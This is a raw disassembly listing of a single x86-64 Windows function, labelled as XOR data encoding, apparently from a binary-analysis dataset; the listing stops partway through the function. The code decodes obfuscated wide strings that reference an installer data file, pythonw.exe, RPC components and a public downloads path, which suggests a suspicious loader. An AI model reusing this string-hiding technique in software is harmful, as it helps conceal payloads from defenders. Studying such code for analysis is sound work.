Function at 0x330928690
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3a8
movups xmmword [rsp + 0x390], xmm6
call fcn.330905880
call fcn.3309058e0
call fcn.3309030e0
mov ecx, 0x18
call fcn.330954e20
pxor xmm0, xmm0
mov ecx, 0x58
mov qword [rax + 0x10], 0
movups xmmword [rax], xmm0
mov qword [rsp + 0x40], rax
call fcn.330954e20
mov rdx, qword [0x330968080]
mov r8d, 0x8ca0
mov rcx, rax
mov rbx, rax
call fcn.330927870
mov rcx, rbx
lea r15, [rsp + 0x330]
call fcn.3309276a0
mov rcx, qword [rbx + 0x30]
mov edx, dword [rbx + 0x38]
mov r8, r15
movdqu xmm0, xmmword [0x3309592f0]
lea rax, [rsp + 0x2d0]
mov byte [rsp + 0x2f0], 0
mov r9, rax
mov byte [rsp + 0x370], 0
movups xmmword [rsp + 0x2d0], xmm0
movdqu xmm0, xmmword [0x330959300]
mov qword [rsp + 0x28], rax
movups xmmword [rsp + 0x2e0], xmm0
movdqu xmm0, xmmword [0x330959310]
movups xmmword [rsp + 0x330], xmm0
movdqu xmm0, xmmword [0x330959320]
movups xmmword [rsp + 0x340], xmm0
movdqu xmm0, xmmword [0x330959330]
movups xmmword [rsp + 0x350], xmm0
movdqu xmm0, xmmword [0x330959340]
movups xmmword [rsp + 0x360], xmm0
call fcn.330909800
mov rdx, qword [rbx + 0x38]
mov rcx, qword [rbx + 0x30]
mov r8d, 0xffffffff
mov r9d, 0x72
call fcn.3309236f0
movdqu xmm0, xmmword [0x330959350]
mov rdx, r15
mov r8d, 0x7478
mov rcx, rax
mov rbx, rax
mov byte [rsp + 0x346], 0
mov dword [rsp + 0x340], 0x742e7265
mov word [rsp + 0x344], r8w
movups xmmword [rsp + 0x330], xmm0
call fcn.330921920
test eax, eax
jne 0x330928ac4
lea r8, [rsp + 0x1d0]
lea rdx, [rsp + 0x180]
mov rcx, rbx
call fcn.330922560
mov rcx, qword [rsp + 0x180]
mov edx, 0xa
lea rbp, [rsp + 0x280]
lea rsi, [rsp + 0x270]
call sub.msvcrt.dll_strchr
mov rcx, rbx
mov byte [rax], 0
mov rdx, qword [rsp + 0x180]
call fcn.330921920
movdqu xmm0, xmmword [0x330959360]
mov rax, qword [0x330959370]
mov ecx, 0x5c73
mov word [rsp + 0x348], cx
mov rcx, r15
mov byte [rsp + 0x34a], 0
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x270], rbp
movups xmmword [rsp + 0x330], xmm0
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x2d0], rax
mov rdi, rax
cmp rax, 0xf
ja 0x33092ab28
cmp rax, 1
jne 0x33092aae4
mov byte [rsp + 0x280], 0x43
mov rdx, rbp
mov qword [rsp + 0x278], rax
lea r13, [rsp + 0x2e0]
mov byte [rdx + rax], 0
mov r14, qword [rsp + 0x180]
mov rax, qword [rsp + 0x270]
mov r12, qword [rsp + 0x278]
mov rcx, r14
mov qword [rsp + 0x20], rax
call sub.msvcrt.dll_strlen
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x2d0], r13
lea rdx, [r12 + rax]
mov byte [rsp + 0x2e0], 0
mov rdi, rax
mov qword [rsp + 0x2d8], 0
call fcn.33094f180
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x2d8]
cmp rax, r12
jb 0x33092ace4
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8, r12
call fcn.33094f2c0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x2d8]
cmp rax, rdi
jb 0x33092acd8
mov rcx, qword [rsp + 0x28]
mov r8, rdi
mov rdx, r14
call fcn.33094f2c0
mov rdi, qword [rsp + 0x2d8]
mov edx, 4
mov rcx, rdi
call sub.msvcrt.dll_calloc
mov rdx, qword [rsp + 0x2d0]
mov r8, rdi
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
mov rdx, qword [rsp + 0x2d0]
mov rcx, rbx
call fcn.3309226c0
mov rcx, qword [rsp + 0x2d0]
mov rdx, r15
mov byte [rsp + 0x334], 0
mov dword [rsp + 0x330], 0x69736d2e
call fcn.330923ee0
test eax, eax
jne 0x330928a88
mov ecx, 0x40
call fcn.330954e20
mov rdi, qword [rsp + 0x2d8]
mov r12, rax
lea rax, [rsp + 0x340]
mov r14, qword [rsp + 0x2d0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x220], rdi
cmp rdi, 0xf
ja 0x33092ac1b
cmp rdi, 1
je 0x33092ac0b
test rdi, rdi
jne 0x33092acba
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x338], rdi
mov rdx, r15
mov rcx, r12
mov byte [rax + rdi], 0
call fcn.330928260
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x220]
xor edx, edx
mov qword [rsp + 0x220], r12
call fcn.33094cec0
mov rcx, qword [rsp + 0x330]
mov rax, qword [rsp + 0x20]
cmp rcx, rax
je 0x330928a88
mov rax, qword [rsp + 0x340]
lea rdx, [rax + 1]
call fcn.330954e10
mov rcx, qword [rsp + 0x2d0]
cmp rcx, r13
je 0x330928aa6
mov rax, qword [rsp + 0x2e0]
lea rdx, [rax + 1]
call fcn.330954e10
mov rcx, qword [rsp + 0x270]
cmp rcx, rbp
je 0x330928ac4
mov rax, qword [rsp + 0x280]
lea rdx, [rax + 1]
call fcn.330954e10
mov ecx, 0x20
call fcn.330954e20
mov edx, 0x3e8
mov rcx, rax
mov rsi, rax
call fcn.3309285f0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x330], rsi
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x33092ab18
mov qword [rdx], rsi
add rdx, 8
mov qword [rax + 8], rdx
mov ecx, 0x48
lea rsi, [rsp + 0x270]
call fcn.330954e20
pxor xmm0, xmm0
mov rdx, r15
mov rcx, rbx
mov rdi, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movdqu xmm0, xmmword [str.installer_data.z_CSIDL_LOCAL_APP1]
mov qword [rax + 0x40], 0
mov rax, qword [0x33095c150]
mov qword [rdi + 0x18], 0
add rax, 0x10
movups xmmword [rsp + 0x330], xmm0
mov qword [rdi], rax
lea rax, [rdi + 0x20]
mov qword [rdi + 0x10], rax
mov eax, 0x7069
mov byte [rsp + 0x342], 0
mov word [rsp + 0x340], ax
call fcn.330921920
lea rdx, [rdi + 0x30]
lea r8, [rdi + 0x38]
mov rcx, rbx
call fcn.330922560
mov edx, 0x25
mov rcx, r15
xor r8d, r8d
movdqu xmm0, xmmword [0x330959390]
lea rax, [rsp + 0x340]
mov word [rsp + 0x2e4], dx
mov rdx, rsi
mov dword [rsp + 0x2e0], 0x41544144
movups xmmword [rsp + 0x2d0], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x270], 0x15
call fcn.33094f410
pxor xmm0, xmm0
mov ecx, 0x20
mov rdx, qword [rsp + 0x270]
movdqu xmm4, xmmword [rsp + 0x2d0]
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x340], rdx
movups xmmword [rax], xmm4
mov rdx, qword [rsp + 0x2dd]
mov qword [rsp + 0xd0], 0
mov qword [rax + 0xd], rdx
mov rax, qword [rsp + 0x270]
mov rdx, qword [rsp + 0x330]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x338], rax
mov byte [rdx + rax], 0
call fcn.330954e20
mov rbp, qword [rsp + 0x338]
mov rbx, rax
lea r12, [rax + 0x20]
mov qword [rsp + 0xc0], rax
lea rax, [rax + 0x10]
mov qword [rsp + 0xd0], r12
mov r13, qword [rsp + 0x330]
mov qword [rsp + 0x38], rax
mov qword [rbx], rax
mov qword [rsp + 0x270], rbp
cmp rbp, 0xf
ja 0x33092a598
cmp rbp, 1
je 0x33092a588
test rbp, rbp
jne 0x33092a640
mov rax, qword [rsp + 0x38]
mov qword [rbx + 8], rbp
mov byte [rax + rbp], 0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x330]
mov qword [rsp + 0xc8], r12
cmp rcx, rax
je 0x330928ce3
mov rax, qword [rsp + 0x340]
lea rdx, [rax + 1]
call fcn.330954e10
mov ecx, 0x68
call fcn.330954e20
pxor xmm0, xmm0
mov ecx, 0x20
mov r12, rax
mov qword [rsp + 0x340], 0
movups xmmword [rsp + 0x330], xmm0
call fcn.330954e20
mov rsi, qword [rbx + 8]
movq xmm5, rax
lea r13, [rax + 0x20]
mov r14, qword [rbx]
movddup xmm0, xmm5
lea rcx, [rax + 0x10]
mov qword [rsp + 0x340], r13
mov rbp, rax
mov qword [rax], rcx
mov qword [rsp + 0x2d0], rsi
movups xmmword [rsp + 0x330], xmm0
cmp rsi, 0xf
ja 0x33092a5e4
cmp rsi, 1
je 0x33092a5d8
test rsi, rsi
jne 0x33092a607
mov qword [rbp + 8], rsi
mov rdx, r15
mov byte [rcx + rsi], 0
mov rcx, r12
mov qword [rsp + 0x338], r13
call fcn.3309264b0
mov rsi, qword [rsp + 0x338]
mov rbp, qword [rsp + 0x330]
cmp rsi, rbp
je 0x330928dc7
nop dword [rax]
mov rcx, qword [rbp]
lea rax, [rbp + 0x10]
cmp rcx, rax
je 0x33092a628
mov rax, qword [rbp + 0x10]
add rbp, 0x20
lea rdx, [rax + 1]
call fcn.330954e10
cmp rsi, rbp
jne 0x330928d98
mov rbp, qword [rsp + 0x330]
test rbp, rbp
je 0x330928ddf
mov rdx, qword [rsp + 0x340]
mov rcx, rbp
sub rdx, rbp
call fcn.330954e10
mov ecx, 0x68
call fcn.330954e20
mov r8, r12
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call fcn.330927d30
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x180], rsi
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x33092ab99
mov qword [rdx], rsi
add rdx, 8
mov qword [rax + 8], rdx
mov ecx, 0x20
call fcn.330954e20
mov edx, 0x3e8
mov rcx, rax
mov rsi, rax
call fcn.3309285f0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x330], rsi
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x33092abae
mov qword [rdx], rsi
add rdx, 8
mov qword [rax + 8], rdx
movzx eax, word [0x3309592b2]
movzx edx, word [0x3309592b0]
mov dword [rsp + 0x298], 0xc0031
movdqu xmm0, xmmword [0x3309593a0]
shl rax, 0x10
or rax, rdx
movzx edx, word [0x3309592ae]
movups xmmword [rsp + 0x270], xmm0
movdqu xmm0, xmmword [0x3309593b0]
shl rax, 0x10
or rax, rdx
movzx edx, word [0x3309592ac]
movups xmmword [rsp + 0x280], xmm0
shl rax, 0x10
or rax, rdx
movabs rdx, 0x58006b00580050
movq xmm6, rax
mov rax, qword [0x3309593c0]
mov qword [rsp + 0x290], rax
movzx eax, word [0x33095928c]
add eax, 0xc
mov word [rsp + 0x29c], ax
movzx eax, word [0x33095928e]
add eax, 0xc
mov word [rsp + 0x29e], ax
movzx eax, word [str.Notepadpythonw.exe]
add eax, 0xc
mov word [rsp + 0x2a0], ax
movzx eax, word [0x330959292]
add eax, 0xc
mov word [rsp + 0x2a2], ax
movzx eax, word [0x330959294]
add eax, 0xc
mov word [rsp + 0x2a4], ax
movzx eax, word [0x330959296]
add eax, 0xc
mov word [rsp + 0x2a6], ax
movzx eax, word [0x330959298]
add eax, 0xc
mov word [rsp + 0x2a8], ax
movzx eax, word [0x33095929a]
add eax, 0xc
mov word [rsp + 0x2aa], ax
movzx eax, word [0x33095929c]
add eax, 0xc
mov word [rsp + 0x2ac], ax
movzx eax, word [0x33095929e]
add eax, 0xc
mov word [rsp + 0x2ae], ax
movzx eax, word [0x3309592a0]
add eax, 0xc
mov word [rsp + 0x2b0], ax
movzx eax, word [0x3309592a2]
movq xmm0, qword [0x3309593c8]
movdqu xmm5, xmmword [rsp + 0x290]
movdqu xmm2, xmmword [rsp + 0x2a0]
add eax, 0xc
mov word [rsp + 0x2b2], ax
movzx eax, word [0x3309592a4]
paddw xmm0, xmm6
add eax, 0xc
mov word [rsp + 0x2b4], ax
movzx eax, word [0x3309592a6]
movq qword [rsp + 0x2bc], xmm0
add eax, 0xc
mov word [rsp + 0x2b6], ax
movzx eax, word [0x3309592a8]
add eax, 0xc
mov word [rsp + 0x2b8], ax
movzx eax, word [0x3309592aa]
add eax, 0xc
mov word [rsp + 0x2ba], ax
movzx eax, word [0x3309592b4]
movdqu xmm3, xmmword [rsp + 0x2b0]
add eax, 0xc
mov word [rsp + 0x2c4], ax
xor eax, eax
mov word [rsp + 0x2c6], ax
movabs rax, 0x55005f004f0031
mov qword [rsp + 0x330], rax
movabs rax, 0x58004d004f005b
mov qword [rsp + 0x338], rdx
movabs rdx, 0x5c005c004d006b
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x348], rdx
movups xmmword [rsp + 0x350], xmm5
movups xmmword [rsp + 0x360], xmm2
movups xmmword [rsp + 0x370], xmm3
mov qword [rsp + 0x380], rax
xor eax, eax
nop
movzx edx, word [rsp + rax*2 + 0x330]
sub edx, 0xc
mov word [rsp + rax*2 + 0x330], dx
add rax, 1
cmp rax, 0x2b
jne 0x3309290b0
lea rax, [rsp + 0x220]
mov rcx, r15
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x230]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x220], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
mov qword [rsp + 0x2d0], rdi
mov rax, rdi
cmp rsi, 0xe
ja 0x330929138
mov rcx, qword [rsp + 0x220]
cmp rdi, 1
jne 0x330929168
movzx edx, word [rsp + 0x330]
mov word [rcx], dx
mov edx, 2
jmp 0x330929175
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0xa8]
xor r8d, r8d
call fcn.330952af0
mov qword [rsp + 0x220], rax
mov rcx, rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x230], rax
test rdi, rdi
jne 0x33092a668
lea rdx, [rax + rax]
mov qword [rsp + 0x228], rax
xor eax, eax
mov word [rcx + rdx], ax
xor eax, eax
mov dword [rsp + 0x2d0], 0x27
mov edi, dword [rsp + 0x2d0]
mov word [rsp + 0x21e], ax
mov eax, dword [rsp + 0x2d0]
mov esi, dword [rsp + 0x2d0]
mov ecx, dword [rsp + 0x2d0]
mov dword [rsp + 0x9c], eax
mov edx, dword [rsp + 0x2d0]
mov dword [rsp + 0x98], esi
mov r10d, dword [rsp + 0x2d0]
mov r11d, dword [rsp + 0x2d0]
mov r9d, dword [rsp + 0x2d0]
mov dword [rsp + 0x94], ecx
mov r14d, dword [rsp + 0x2d0]
mov r8d, dword [rsp + 0x2d0]
mov dword [rsp + 0x90], edx
mov ebp, dword [rsp + 0x2d0]
mov r13d, dword [rsp + 0x2d0]
mov dword [rsp + 0x8c], r10d
mov r12d, dword [rsp + 0x2d0]
mov eax, dword [rsp + 0x2d0]
mov dword [rsp + 0x88], r11d
mov esi, dword [rsp + 0x2d0]
mov dword [rsp + 0x84], r9d
mov dword [rsp + 0x80], r14d
mov dword [rsp + 0x7c], r8d
mov dword [rsp + 0x78], ebp
mov dword [rsp + 0x70], r13d
mov dword [rsp + 0x68], r12d
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x58], esi
mov ecx, dword [rsp + 0x2d0]
mov edx, dword [rsp + 0x2d0]
mov r10d, dword [rsp + 0x2d0]
mov r11d, dword [rsp + 0x2d0]
mov eax, dword [rsp + 0x2d0]
mov dword [rsp + 0x50], ecx
mov esi, dword [rsp + 0x2d0]
mov dword [rsp + 0x48], edx
mov r8d, dword [rsp + 0x2d0]
mov dword [rsp + 0x28], r11d
add eax, 0x13
mov r11d, dword [rsp + 0x2d0]
mov edx, dword [rsp + 0x2d0]
add esi, 0x14
movd xmm0, eax
mov dword [rsp + 0x30], r10d
add r8d, 0x15
mov r10d, dword [rsp + 0x2d0]
xor r8w, word [0x3309592ba]
add edx, 0x17
add r11d, 0x16
xor dx, word [0x3309592be]
xor si, word [str.Notepad_test_gpu.py]
movd xmm3, r8d
movd xmm1, edx
add r10d, 0x18
xor r11w, word [0x3309592bc]
xor r10w, word [0x3309592c0]
pinsrw xmm0, esi, 1
mov ecx, dword [rsp + 0x2d0]
pinsrw xmm3, r11d, 1
mov r9d, dword [rsp + 0x2d0]
pinsrw xmm1, r10d, 1
mov esi, dword [rsp + 0x2d0]
mov r11d, dword [rsp + 0x2d0]
punpckldq xmm0, xmm3
mov r10d, dword [rsp + 0x2d0]
add ecx, 0x19
add r9d, 0x1a
mov eax, dword [rsp + 0x2d0]
xor cx, word [0x3309592c2]
xor r9w, word [0x3309592c4]
add esi, 0x1b
add r11d, 0x1c
add eax, 0x1e
add r10d, 0x1d
movd xmm2, ecx
xor ax, word [0x3309592cc]
mov ebp, eax
mov eax, dword [rsp + 0x2d0]
xor si, word [0x3309592c6]
pinsrw xmm2, r9d, 1
xor r11w, word [0x3309592c8]
xor r10w, word [0x3309592ca]
punpckldq xmm1, xmm2
add eax, 0x1f
xor ax, word [0x3309592ce]
punpcklqdq xmm0, xmm1
mov r12d, eax
mov eax, dword [rsp + 0x2d0]
add eax, 0x20
xor ax, word [0x3309592d0]
mov r13d, eax
mov eax, dword [rsp + 0x2d0]
mov r9d, dword [rsp + 0x2d0]
mov r8d, dword [rsp + 0x2d0]
mov ecx, dword [rsp + 0x2d0]
add eax, 0x21
add r9d, 0x22
xor ax, word [0x3309592d2]
xor r9w, word [0x3309592d4]
xor edi, 0x4e
mov edx, dword [rsp + 0x2d0]
mov r14d, eax
add ecx, 0x24
mov word [rsp + 0x1d0], di
movzx edi, word [rsp + 0x9c]
add r8d, 0x23
mov eax, dword [rsp + 0x2d0]
xor r8w, word [0x3309592d6]
add edx, 0x25
add edi, 1
xor cx, word [0x3309592d8]
xor dx, word [0x3309592da]
xor edi, 0x6f
add eax, 0x26
xor ax, word [0x3309592dc]
mov word [rsp + 0x1d2], di
movzx edi, word [rsp + 0x98]
add edi, 2
xor edi, 0x74
mov word [rsp + 0x1d4], di
movzx edi, word [rsp + 0x94]
add edi, 3
xor edi, 0x65
mov word [rsp + 0x1d6], di
movzx edi, word [rsp + 0x90]
add edi, 4
xor edi, 0x70
mov word [rsp + 0x1d8], di
movzx edi, word [rsp + 0x8c]
add edi, 5
xor edi, 0x61
mov word [rsp + 0x1da], di
movzx edi, word [rsp + 0x88]
add edi, 6
xor edi, 0x64
mov word [rsp + 0x1dc], di
movzx edi, word [rsp + 0x84]
add edi, 7
xor edi, 0x5c
mov word [rsp + 0x1de], di
movzx edi, word [rsp + 0x80]
add edi, 8
xor edi, 0x70
mov word [rsp + 0x1e0], di
movzx edi, word [rsp + 0x7c]
mov word [rsp + 0x206], si
add edi, 9
mov word [rsp + 0x20c], bp
xor edi, 0x79
mov word [rsp + 0x208], r11w
mov word [rsp + 0x1e2], di
movzx edi, word [rsp + 0x78]
mov word [rsp + 0x20a], r10w
add edi, 0xa
mov word [rsp + 0x20e], r12w
xor edi, 0x74
mov word [rsp + 0x210], r13w
mov word [rsp + 0x1e4], di
movzx edi, word [rsp + 0x70]
mov word [rsp + 0x212], r14w
add edi, 0xb
mov word [rsp + 0x218], cx
xor edi, 0x68
mov word [rsp + 0x21a], dx
mov word [rsp + 0x1e6], di
movzx edi, word [rsp + 0x68]
mov word [rsp + 0x214], r9w
add edi, 0xc
movups xmmword [rsp + 0x1f6], xmm0
mov word [rsp + 0x216], r8w
xor edi, 0x6f
mov word [rsp + 0x1e8], di
movzx edi, word [rsp + 0x60]
add edi, 0xd
xor edi, 0x6e
mov word [rsp + 0x1ea], di
movzx edi, word [rsp + 0x58]
add edi, 0xe
xor edi, 0x77
mov word [rsp + 0x1ec], di
movzx edi, word [rsp + 0x50]
add edi, 0xf
xor edi, 0x2e
mov word [rsp + 0x1ee], di
movzx edi, word [rsp + 0x48]
add edi, 0x10
xor edi, 0x65
mov word [rsp + 0x1f0], di
movzx edi, word [rsp + 0x30]
add edi, 0x11
xor edi, 0x78
mov word [rsp + 0x1f2], di
movzx edi, word [rsp + 0x28]
add edi, 0x12
xor edi, 0x65
mov word [rsp + 0x1f4], di
mov word [rsp + 0x21c], ax
xor eax, eax
movdqu xmm5, xmmword [rsp + 0x1d0]
movdqu xmm4, xmmword [rsp + 0x1e0]
movdqu xmm1, xmmword [rsp + 0x1f0]
movdqu xmm2, xmmword [rsp + 0x200]
movups xmmword [rsp + 0x2d4], xmm5
movdqu xmm3, xmmword [rsp + 0x210]
movups xmmword [rsp + 0x2e4], xmm4
movups xmmword [rsp + 0x2f4], xmm1
movups xmmword [rsp + 0x304], xmm2
movups xmmword [rsp + 0x314], xmm3
nop word [rax + rax]
movzx ecx, word [rsp + rax*2 + 0x2d4]
mov edx, dword [rsp + 0x2d0]
add edx, eax
xor edx, ecx
mov word [rsp + rax*2 + 0x2d4], dx
add rax, 1
cmp rax, 0x27
jne 0x330929678
lea rbp, [rsp + 0x2d4]
xor eax, eax
lea r13, [rsp + 0x250]
mov rcx, rbp
mov word [rsp + 0x322], ax
mov qword [rsp + 0x240], r13
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
mov qword [rsp + 0x180], rdi
mov rax, rdi
cmp rsi, 0xe
ja 0x330929702
mov rcx, qword [rsp + 0x240]
cmp rdi, 1
jne 0x330929735
movzx edx, word [rsp + 0x2d4]
mov word [rcx], dx
mov edx, 2
jmp 0x330929742
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x240]
xor r8d, r8d
call fcn.330952af0
mov qword [rsp + 0x240], rax
mov rcx, rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x250], rax
test rdi, rdi
jne 0x33092a648
lea rdx, [rax + rax]
xor r14d, r14d
pxor xmm0, xmm0
mov qword [rsp + 0x248], rax
mov word [rcx + rdx], r14w
mov ecx, 0x40
mov qword [rsp + 0xf0], 0
movups xmmword [rsp + 0xe0], xmm0
call fcn.330954e20
mov r14, rax
mov qword [rsp + 0xe0], rax
lea rax, [rax + 0x40]
mov rbp, qword [rsp + 0x220]
mov qword [rsp + 0x28], rax
lea rcx, [r14 + 0x10]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x228]
mov qword [r14], rcx
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
mov qword [rsp + 0x180], rdi
cmp rsi, 0xe
ja 0x33092a84c
cmp rdi, 1
jne 0x33092aadc
movzx eax, word [rbp]
mov edx, 2
mov word [r14 + 0x10], ax
mov eax, 1
mov qword [r14 + 8], rax
mov rax, qword [rsp + 0x248]
xor r12d, r12d
mov word [rcx + rdx], r12w
lea rcx, [r14 + 0x30]
lea r12, [r14 + 0x20]
mov rdi, qword [rsp + 0x240]
lea rsi, [rax + rax]
mov qword [r14 + 0x20], rcx
mov rbp, rsi
sar rbp, 1
mov qword [rsp + 0x180], rbp
cmp rsi, 0xe
ja 0x33092a742
cmp rbp, 1
jne 0x33092ab08
movzx eax, word [rdi]
mov edx, 2
mov word [r14 + 0x30], ax
mov eax, 1
movq xmm0, qword [0x3309593d0]
mov qword [r14 + 0x28], rax
xor ebp, ebp
mov rax, qword [rsp + 0x28]
mov word [rcx + rdx], bp
pxor xmm6, xmm0
mov qword [rsp + 0xe8], rax
cmp rdi, r13
je 0x33092987d
mov rax, qword [rsp + 0x250]
mov rcx, rdi
lea rdx, [rax + rax + 2]
call fcn.330954e10
mov rcx, qword [rsp + 0x220]
mov rax, qword [rsp + 0xa0]
cmp rcx, rax
je 0x3309298a4
mov rax, qword [rsp + 0x230]
lea rdx, [rax + rax + 2]
call fcn.330954e10
mov rax, qword [0x330959400]
xor esi, esi
movdqu xmm0, xmmword [0x3309593e0]
mov dword [rsp + 0x330], 0x3c
mov word [rsp + 0x326], si
movabs rdx, 0x70006300700078
mov qword [rsp + 0x2f0], rax
movzx eax, word [0x33095928c]
movups xmmword [rsp + 0x2d0], xmm0
movdqu xmm0, xmmword [0x3309593f0]
mov dword [rsp + 0x2f8], 0x3c0019
xor eax, 0x3c
mov word [rsp + 0x2fc], ax
movzx eax, word [0x33095928e]
movups xmmword [rsp + 0x2e0], xmm0
xor eax, 0x3c
mov word [rsp + 0x2fe], ax
movzx eax, word [str.Notepadpythonw.exe]
xor eax, 0x3c
mov word [rsp + 0x300], ax
movzx eax, word [0x330959292]
xor eax, 0x3c
mov word [rsp + 0x302], ax
movzx eax, word [0x330959294]
xor eax, 0x3c
mov word [rsp + 0x304], ax
movzx eax, word [0x330959296]
xor eax, 0x3c
mov word [rsp + 0x306], ax
movzx eax, word [0x330959298]
xor eax, 0x3c
mov word [rsp + 0x308], ax
movzx eax, word [0x33095929a]
xor eax, 0x3c
mov word [rsp + 0x30a], ax
movzx eax, word [0x33095929c]
xor eax, 0x3c
mov word [rsp + 0x30c], ax
movzx eax, word [0x33095929e]
xor eax, 0x3c
mov word [rsp + 0x30e], ax
movzx eax, word [0x3309592a0]
xor eax, 0x3c
mov word [rsp + 0x310], ax
movzx eax, word [0x3309592a2]
xor eax, 0x3c
mov word [rsp + 0x312], ax
movzx eax, word [0x3309592a4]
movq qword [rsp + 0x31c], xmm6
movdqu xmm5, xmmword [rsp + 0x2f0]
movdqu xmm4, xmmword [rsp + 0x300]
xor eax, 0x3c
mov word [rsp + 0x314], ax
movzx eax, word [0x3309592a6]
xor eax, 0x3c
mov word [rsp + 0x316], ax
movzx eax, word [0x3309592a8]
xor eax, 0x3c
mov word [rsp + 0x318], ax
movzx eax, word [0x3309592aa]
xor eax, 0x3c
mov word [rsp + 0x31a], ax
movzx eax, word [0x3309592b4]
movdqu xmm1, xmmword [rsp + 0x310]
xor eax, 0x3c
mov word [rsp + 0x324], ax
movabs rax, 0x75006f007f0019
mov qword [rsp + 0x334], rax
movabs rax, 0x70007d007f0073
mov qword [rsp + 0x33c], rdx
movabs rdx, 0x6c006c007d0063
mov qword [rsp + 0x344], rax
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x34c], rdx
movups xmmword [rsp + 0x354], xmm5
movups xmmword [rsp + 0x364], xmm4
movups xmmword [rsp + 0x374], xmm1
mov qword [rsp + 0x384], rax
xor eax, eax
nop dword [rax + rax]
movzx edx, word [rsp + rax*2 + 0x334]
mov ecx, dword [rsp + 0x330]
xor edx, ecx
mov word [rsp + rax*2 + 0x334], dx
add rax, 1
cmp rax, 0x2b
jne 0x330929ac0
lea rax, [rsp + 0x140]
lea rbp, [rsp + 0x334]
xor r11d, r11d
mov qword [rsp + 0x58], rax
mov rcx, rbp
lea rax, [rsp + 0x150]
mov word [rsp + 0x38a], r11w
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x140], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
mov qword [rsp + 0x220], rdi
cmp rsi, 0xe
ja 0x33092a7f3
mov rcx, qword [rsp + 0x140]
cmp rdi, 1
jne 0x33092ab00
movzx eax, word [rsp + 0x334]
mov edx, 2
mov word [rcx], ax
mov eax, 1
movzx esi, word [0x3309592e2]
xor r9d, r9d
mov qword [rsp + 0x148], rax
mov word [rcx + rdx], r9w
movzx ecx, word [0x3309592ec]
add esi, 0xa
movzx edi, word [0x3309592e4]
movzx eax, word [str.RpcServerpcrt4.d34f707f32467b1a238c902e7a0abfb16203c339166c02c9855f4c78f945721570b3791d56095a3ce5979f847d7c95978original_installC:UsersPublicDownload]
mov word [rsp + 0x48], si
lea esi, [rcx + 0xa]
movzx ecx, word [0x3309592ee]
movzx edx, word [0x3309592f6]
movdqu xmm0, xmmword [str.Xyozknfo7qz]
add eax, 0xa
lea r13d, [rdi + 0xa]
lea r11d, [rcx + 0xa]
movzx ecx, word [0x3309592f0]
movzx edi, word [0x3309592e6]
mov word [rsp + 0x30], ax
add edx, 0xa
movzx r8d, word [0x3309592f8]
movzx eax, word [0x330959304]
movups xmmword [rsp + 0x220], xmm0
lea r10d, [rcx + 0xa]
movzx ecx, word [0x3309592f2]
lea r12d, [rdi + 0xa]
mov word [rsp + 0x68], dx
movzx edx, word [0x3309592fc]
movzx edi, word [0x3309592e8]
add r8d, 0xa
add eax, 0xa
lea r9d, [rcx + 0xa]
movzx ecx, word [0x3309592f4]
movdqu xmm0, xmmword [0x330959420]
mov word [rsp + 0x70], r8w
add edx, 0xa
mov word [rsp + 0x80], ax
lea ebp, [rdi + 0xa]
movzx r8d, word [0x3309592fe]
add ecx, 0xa
mov word [rsp + 0x7c], dx
movzx edi, word [0x3309592ea]
mov word [rsp + 0x60], cx
movzx ecx, word [0x3309592fa]
add r8d, 0xa
movzx edx, word [0x330959302]
add edi, 0xa
add ecx, 0xa
mov word [rsp + 0x78], cx
movzx ecx, word [0x330959300]
add edx, 0xa
movups xmmword [rsp + 0x230], xmm0
movzx eax, word [rsp + 0x30]
movq xmm0, qword [0x330959430]
mov word [rsp + 0x258], r10w
add ecx, 0xa
xor r10d, r10d
mov word [rsp + 0x248], ax
movzx eax, word [rsp + 0x48]
mov word [rsp + 0x26a], dx
movabs rdx, 0x66006e006b007a
mov word [rsp + 0x24a], ax
movzx eax, word [rsp + 0x60]
mov word [rsp + 0x24c], r13w
mov word [rsp + 0x25c], ax
movzx eax, word [rsp + 0x68]
mov word [rsp + 0x24e], r12w
mov word [rsp + 0x25e], ax
movzx eax, word [rsp + 0x70]
mov word [rsp + 0x250], bp
mov word [rsp + 0x260], ax
movzx eax, word [rsp + 0x78]
